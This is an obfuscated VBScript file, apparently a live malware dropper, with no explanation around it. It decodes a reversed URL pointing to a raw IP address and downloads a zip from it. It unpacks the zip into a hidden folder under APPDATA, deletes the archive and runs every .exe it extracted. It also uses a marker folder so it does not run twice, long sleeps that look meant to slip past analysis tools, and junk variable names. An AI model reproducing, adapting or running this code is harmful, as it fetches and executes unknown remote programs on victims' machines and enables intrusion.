Option Explicit
Dim arrKey, errResult
arrKey = GTEK( "6180D27ED60A2BDC0031F0153FF32DD60DC16185B25A974BF316C3719B" )
DIM strComputer,strProcess
DIM yxrrsuuvvxzzAACEFFHHIKKMMNPPRSSUUWXXZZacceffhhjk,uvxyAACCFFHHIKMMNNPQQSUUVVXZZaacddff,hyzAACEFFHHJJKMNNPRRSSUW,strFolder,FFGIIKLLNOOQSSTVVXXYaa,vtstvvxyyABBDDFGIIKL,OtRHHJJLLMMOQQRTTUU
yxrrsuuvvxzzAACEFFHHIKKMMNPPRSSUUWXXZZacceffhhjk     = StrReverse("piz.sniugfordGL/8744:342.252.75.31//:ptth")
uvxyAACCFFHHIKMMNNPQQSUUVVXZZaacddff = ""
dim OBJxxzACCDDFHHIKMMNNPQ
Set OBJxxzACCDDFHHIKMMNNPQ = CreateObject( "WScript.Shell" )
uvxyAACCFFHHIKMMNNPQQSUUVVXZZaacddff =OBJxxzACCDDFHHIKMMNNPQ.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37)))
hyzAACEFFHHJJKMNNPRRSSUW = "A99449C3092CE70964CE715CF7BB75B.zip"
WScript.Sleep 10
FFGIIKLLNOOQSSTVVXXYaa = uvxyAACCFFHHIKMMNNPQQSUUVVXZZaacddff + "\V83FC76EC"
SSUUWXXZbbceefhhjjkmmooprrssuwwxzzBBCEEGGH
strFolder = FFGIIKLLNOOQSSTVVXXYaa
DIM objFeSO
SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")

IF objFeSO.FolderExists(OBJxxzACCDDFHHIKMMNNPQ.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT") = TRUE THEN
WScript.Quit()

IF objFeSO.FolderExists(strFolder) = FALSE THEN
objFeSO.CreateFolder strFolder
objFeSO.CreateFolder OBJxxzACCDDFHHIKMMNNPQ.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
END IF


BAIXA



WScript.Sleep 34403
XCzBDDEGGIJJLNNOOQ
WScript.Sleep 34410
DCiknnqqssvx
WScript.Sleep 1414
DCwxzBBCEGGHJJLMMOPPRTTUWWYYZb

Function GTEK( myPassPhrase )
    Dim i, arrCode( )
    ReDim arrCode( Len( myPassPhrase ) - 1 )
    For i = 0 To UBound( arrCode )
        arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
    Next
    GTEK = arrCode
End Function

Function tOVVXYaaccdffgi( myFileIn, myFileOut, arrCode )
    Dim i, jrtFGIIKLLNPPQQSU, ColttvxyAACCDFFGGIIKLIn, ColttvxyAACCDFFGGIIKLOut, objStreamIn
    Const ForAppending       =  8
    Const ForReading         =  1
    Const ForWriting         =  2
    Const TristateFalse      =  0
    Const TristateMixed      = -2
    Const TristateTrue       = -1
    Const TristateUseDefault = -2
    On Error Resume Next
    If Not IsArray( arrCode ) Then
        arrCode = Array( arrCode )
    End If
    For i = 0 To UBound( arrCode )
        If Not IsNumeric( arrCode(i) ) Then

            Encode = 1032
            Exit Function
        End If
        If arrCode(i) < 0 Or arrCode(i) > 255 Then

            Encode = 1031
            Exit Function
        End If
    Next
    Set jrtFGIIKLLNPPQQSU = CreateObject( "Scripting.FileSystemObject" )
    If jrtFGIIKLLNPPQQSU.FileExists( myFileIn ) Then
        Set ColttvxyAACCDFFGGIIKLIn   = jrtFGIIKLLNPPQQSU.GetFile( myFileIn )
        Set objStreamIn = ColttvxyAACCDFFGGIIKLIn.OpenAsTextStream( ForReading, TriStateFalse )
    Else
        Encode = 53
        objStreamIn.Close
        Set objStreamIn = Nothing
        Set ColttvxyAACCDFFGGIIKLIn   = Nothing
        Set jrtFGIIKLLNPPQQSU      = Nothing

        Exit Function
    End If
    If jrtFGIIKLLNPPQQSU.FileExists( myFileOut ) Then
        ' Error 58: File already exists
        Encode = 58
        ' Close input file and release objects
        objStreamIn.Close
        Set objStreamIn = Nothing
        Set ColttvxyAACCDFFGGIIKLIn   = Nothing
        Set jrtFGIIKLLNPPQQSU      = Nothing
        ' Abort
        Exit Function
    Else
        Set ColttvxyAACCDFFGGIIKLOut = jrtFGIIKLLNPPQQSU.CreateTextFile( myFileOut, True, False )
    End If
    i = 0
    Do Until objStreamIn.AtEndOfStream
        i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
        ColttvxyAACCDFFGGIIKLOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
    Loop
    ColttvxyAACCDFFGGIIKLOut.Close
    objStreamIn.Close
    Set objStreamIn = Nothing
    Set ColttvxyAACCDFFGGIIKLIn   = Nothing
    Set ColttvxyAACCDFFGGIIKLOut  = Nothing
    Set jrtFGIIKLLNPPQQSU      = Nothing
    Encode = Err.Number
    Err.Clear
    On Error Goto 0
End Function





Function SSUUWXXZbbceefhhjjkmmooprrssuwwxzzBBCEEGGH()
dim mqXFFRJUWm
Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
If (mqXFFRJUWm.FolderExists((FFGIIKLLNOOQSSTVVXXYaa) )) Then
WScript.Quit()
End If
End Function


Function BAIXA()
DIM req
Set req = CreateObject("Msxml2.XMLHttp.6.0")
req.open "GET", yxrrsuuvvxzzAACEFFHHIKKMMNPPRSSUUWXXZZacceffhhjk, False
req.send
If req.Status = 200 Then
 Dim oNode, BinaryStream
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = req.responseText
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.SaveToFile FFGIIKLLNOOQSSTVVXXYaa & UCase(Chr(92)) & hyzAACEFFHHJJKMNNPRRSSUW, adSaveCreateOverWrite
End if
End Function




Function DCiknnqqssvx()
DIM jrtFGIIKLLNPPQQSUxsd
Set jrtFGIIKLLNPPQQSUxsd = Createobject("Scripting.FileSystemObject")
jrtFGIIKLLNPPQQSUxsd.DeleteFile FFGIIKLLNOOQSSTVVXXYaa & UCase(Chr(92)) & hyzAACEFFHHJJKMNNPRRSSUW
End Function


Function DCwxzBBCEGGHJJLMMOPPRTTUWWYYZb()
Dim ClqtDFGGIJLLNNOOQSTTVXLM,jrtFGIIKLLNPPQQSUw,jxtLLNPQQSTVVXXYaa,ColttvxyAACCDFFGGIIKL
Set ClqtDFGGIJLLNNOOQSTTVXLM = WScript.CreateObject( "WScript.Shell" )
WScript.Sleep 70
Set jrtFGIIKLLNPPQQSUw = CreateObject( "Scripting.FileSystemObject" )
WScript.Sleep 50
Set jxtLLNPQQSTVVXXYaa = jrtFGIIKLLNPPQQSUw.GetFolder(FFGIIKLLNOOQSSTVVXXYaa)
WScript.Sleep 40
WScript.Sleep 50
Set ColttvxyAACCDFFGGIIKL = jxtLLNPQQSTVVXXYaa.Files
WScript.Sleep 60
WScript.Sleep 50
For Each ColttvxyAACCDFFGGIIKL in ColttvxyAACCDFFGGIIKL
If UCase(jrtFGIIKLLNPPQQSUw.GetExtensionName(ColttvxyAACCDFFGGIIKL.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
vtstvvxyyABBDDFGIIKL = ColttvxyAACCDFFGGIIKL.Name
ClqtDFGGIJLLNNOOQSTTVXLM.Exec(FFGIIKLLNOOQSSTVVXXYaa & UCase(Chr(92)) & ColttvxyAACCDFFGGIIKL.Name)
WScript.Sleep 44
End If
Next
End Function


Function XCzBDDEGGIJJLNNOOQ()
DIM ClqtDFGGIJLLNNOOQSTTVX,FilesInZip
set ClqtDFGGIJLLNNOOQSTTVX = CreateObject("Shell.Application")
set FilesInZip=ClqtDFGGIJLLNNOOQSTTVX.NameSpace(FFGIIKLLNOOQSSTVVXXYaa & UCase(Chr(92)) & hyzAACEFFHHJJKMNNPRRSSUW).items
ClqtDFGGIJLLNNOOQSTTVX.NameSpace(FFGIIKLLNOOQSSTVVXXYaa & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
Set ClqtDFGGIJLLNNOOQSTTVX = Nothing
End Function